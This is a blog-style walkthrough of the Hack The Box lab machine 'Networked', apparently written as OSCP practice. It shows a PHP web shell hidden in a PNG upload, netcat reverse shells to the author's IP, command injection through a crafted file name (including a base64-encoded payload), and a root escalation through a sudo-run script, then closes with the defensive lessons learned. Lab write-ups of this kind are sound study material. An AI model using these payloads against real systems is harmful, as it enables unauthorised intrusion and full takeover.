Today I’m doing a writeup for a Hack The Box box from both TJ Null’s OSCP lab prep listand LainKusanagi’s list of OSCP like machines. It is called Networked, and it is rated Easy by HackTheBox. As usual, we get started with an nmap scan. I’m using my own custom script for this which (gives more detail but) shows these open ports:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp closed https
Looks like we’re going to be pentesting a web app, so I check out port 80 and find this:
Not much going on there, so I start feroxbuster and quickly find http://10.10.10.146/uploads/
and http://10.10.10.146/backup/backup.tar
, and that’s about it. I download the backup.tar file and find:
-rw-r--r-- 1 pop pop 229 Jul 9 2019 index.php
-rw-r--r-- 1 pop pop 2001 Jul 2 2019 lib.php
-rw-r--r-- 1 pop pop 1871 Jul 2 2019 photos.php
-rw-r--r-- 1 pop pop 1331 Jul 2 2019 upload.php
These php files are all available through the browser, so maybe if we read through them we can figure out how to exploit them. Upload.php seems to suggest the file types are limited to images.
This fits with the photos.php page.
Unfortunately when I browse to the upload.php page and attempt to upload any of these images, I get a Invalid file type
response. It turns out this is because my sample files are too big.
So I get another sample file and try again, and the upload works.
It also change the file name to my ip address with _
’s instead of .
’s. So the game here is probably going to be to upload a shell of some kind, but making it look like a png file. That rules out ivan’s PHP reverse shell by the way. So it will have to be something pretty small. From the code snippet above, we know that the upload.php only accepts image files, but we might be able to spoof them.
Initially I try to do this by adding the magic bytes for PNG files (89 50 4E 47 0D 0A 1A 0A
) and insuring that the Content-Type in the HTTP request is set to image/png
.
I can’t seem to get this uploaded whether it’s called shell.php
or shell.php.png
, so I decided to go another route and use a real sample png file, simply using shell.php.png
as the file name and appending some php to the end. In my case I went with:
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
This will allow me to open the file and use cmd as a parameter to send a command. Here I run the command as whoami
and get the result of apache at the bottom.
I fiddle with this for a while, trying a few options to get a shell (can’t find an ssh key) and wind up with
http://10.10.10.146/uploads/10_10_14_3.php.png?cmd=nc+10.10.14.3+445+-e+/bin/bash
which gets me the shell:
I navigate to the /home
directory and find that while I can access the only user’s (guly) directory, I cannot read the user.txt file. I can read crontab.guly
and check_attack.php
. The crontab just shows that check_attack is being run, but check_attack looks like this:
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
Basically this is checking to see if there are any files in the that do not meet the criteria for file names that are established in the upload directory. They should be the IP address with the quartets separated by _
’s. The command to remove the files is here:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
We know the path is /var/www/html/uploads/$fileName
, but we set the $value with the file name. We couldn’t have exploited this very easily from the web shell because the app changes the file name to the correct naming convention, but we can once we have a shell. If the file name includes perhaps a ;
or &
then maybe the part after that will be executed. Initially I tried using the same shell I used to access the machine: touch 'a; nc 10.10.14.3 445 -e /bin/bash; b'
, but I get an error, presumably because of the slashes:
touch: cannot touch 'a; nc 10.10.14.3 445 -e /bin/bash; b': No such file or directory
So I change it to touch 'a; nc 10.10.14.3 445 -e bash; b'
. That gets a hit on the machine and dies. Then I try creating a python shell and touch a; python shell.py; b
, and that also gets a hit and dies.
Given that the issue seems to be with the slashes, we can just use base64 to encode and then decode it. I’ll use nc 10.10.14.3 445 -e /bin/bash
and encode it. The full command then will be:
touch 'a; echo bmMgMTAuMTAuMTQuMyA4ODg4IC1lIC9iaW4vYmFzaA== | base64 -d | sh; b'
, adn this actually gets a stable shell.
I grab the user.txt file and see what guly can do with sudo -l
.
The changename.sh file looks like this:
This script is writing to the ifcfg-guly
script based on input that I give it. It asks me for the input for interface NAME
, interface PROXY_METHOD
, interface BROWSER_ONLY
, and interface BOOTPROTO
. No matter what I put, I get an error:
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
But after trying a bunch of different things, it turns out that if there is a space in the variable, it will get executed as a command. So if the responses to the inputs are: test /bin/bash
, test
, test
, and test /bin/bash
, we get a root shell:
And then we can grab the root.txt.
Personally, I found this machine to be pretty difficult. I appreciate that it didn’t fail the whole time I was doing it, but it took a while. Still, glad to have learned a few things:
nc 10.10.14.3 445 -e bash
to as the file name in the uploads directory, it worked for someone else with nc 10.10.14.3 445 -c bash
. So it didn’t actually need to be base64 encoded. I see both options on revshells.com, but I’ve never tried to use the latter, and now I know to give it a shot./var/www/html/uploads
directory. Especially considering only image files should be there, there’s no reason for php to execute./home/guly/check_attack.php
. It shouldn’t be possible for commands to be executing with it based on file names.:
or &
for example, they could be use for code execution if called by a script./usr/local/sbin/changename.sh
. A simply space in the input shouldn’t allow the word after to be run as code.